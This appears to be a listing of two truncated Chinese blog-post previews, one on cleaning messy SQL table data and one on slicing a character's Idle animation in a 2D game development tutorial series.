大家好&#xff0c;数据库表中的数据经常会很杂乱。数据可能包含缺失值、重复记录、异常值、不一致的数据输入等&#xff0c;在使用SQL进行分析之前清洗数据是非常重要的。 当学习SQL时&#xff0c;可以随意地创建数据库表&#xff0c;更改它们&#xff0c;根据需要更新和删除…

《游戏-03_2D-开发》

基于《游戏-02_2D-开发》&#xff0c; 继续制作游戏&#xff1a; 首先要做的时切割人物Idle空闲状态下的动画&#xff0c; 在切割之前我们需要创建一个文件夹&#xff0c;用来存放动画控制器AnimatorContoller&#xff0c; 再创建一个人物控制器文件夹用来存放人物控制器&…